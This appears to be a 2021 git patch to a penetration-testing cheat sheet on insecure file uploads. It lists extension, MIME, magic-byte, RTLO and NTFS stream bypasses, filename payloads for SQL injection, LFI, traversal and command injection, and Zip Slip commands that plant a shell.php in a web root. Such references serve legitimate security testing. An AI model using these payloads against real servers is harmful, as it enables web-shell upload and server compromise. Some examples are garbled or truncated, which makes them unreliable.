From 3f2f156c12c027000562253bb443046fa86363f6 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Wed, 14 Jul 2021 17:10:04 +0200 Subject: [PATCH] File Upload Update --- Upload Insecure Files/README.md | 65 +++++++++++++++++++++------------ 1 file changed, 41 insertions(+), 24 deletions(-) diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md index 2e692e7..e559385 100644 --- a/Upload Insecure Files/README.md +++ b/Upload Insecure Files/README.md @@ -6,34 +6,35 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at * [Tools](#tools) * [Exploits](#exploits) - * [PHP Extension](#php-extension) + * [Defaults extensions](#defaults-extension) * [Other extensions](#other-extensions) * [Upload tricks](#upload-tricks) + * [Filename vulnerabilities](#filename-vulnerabilities) * [Picture upload with LFI](#picture-upload-with-lfi) * [Configuration Files](#configuration-files) * [CVE - Image Tragik](#cve---image-tragik) + * [CVE - FFMpeg](#cve---ffmpeg) * [ZIP Archive](#zip-archive) * [References](#references) ## Tools - [Fuxploider](https://github.com/almandin/fuxploider) -- [Burp> Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) +- [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) ## Exploits -### PHP Extension +### Defaults extensions -* Default PHP extensions +* PHP Server ```powershell .php .php3 .php4 .php5 .php7 - ``` -* Less known extensions - ```powershell + + # Less known PHP extensions .pht .phps .phar @@ -43,19 +44,9 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at .phtm .inc ``` -* Double extensions - ```powershell - .jpeg.php - .jpg.php - .png.php - .*.php - ``` - -### Other extensions - -* asp : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)` -* perl: `.pl, .pm, .cgi, .lib` -* jsp : `.jsp, .jspx, .jsw, .jsv, .jspf` +* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)` +* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf` +* Perl: `.pl, .pm, .cgi, .lib` * Coldfusion: `.cfm, .cfml, .cfc, .dbm` ### Upload tricks @@ -63,7 +54,6 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at - Use double extensions : `.jpg.php` - Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg` - Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr` - - Null byte (works well against `pathinfo()`) * .php%00.gif * .php\x00.gif @@ -72,15 +62,29 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at * .php%00.jpg * .php\x00.jpg - Special characters - * file.php...... (In Windows when a file is created with dots at the end those will be removed) - * file.php%20 + * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed. + * Whitespace characters: `file.php%20` + * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`. - Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` * `Content-Type : image/gif` * `Content-Type : image/png` * `Content-Type : image/jpeg` + * Set the Content-Type twice: once for unallowed type and once for allowed. - [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) * Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application. -- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.") + * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[` + * JPG: `\xff\xd8\xff` + * GIF: `GIF87a` OR `GIF8;` + * Shell can also be added in the metadata +- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`") + +### Filename vulnerabilities + +- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension` +- LFI Payloads: e.g. `image.png../../../../../../../etc/passwd` +- XSS Payloads e.g. `'">.extension` +- File Traversal e.g. `../../../tmp/lol.png` +- Command Injection e.g. `; sleep 10;` ### Picture upload with LFI @@ -114,11 +118,23 @@ pop graphic-context More payload in the folder `Picture Image Magik` +### CVE - FFMpeg + +FFmpeg HLS vulnerability + + ### ZIP archive When a ZIP/archive file is automatically decompressed after the upload * Zip Slip: directory traversal to write a file somewhere else + ```python + python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15 + + ln -s ../../../index.php symindex.txt + zip --symlinks test.zip symindex.txt + ``` + ## References @@ -127,3 +143,4 @@ When a ZIP/archive file is automatically decompressed after the upload * [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/) * [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf) +* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0) \ No newline at end of file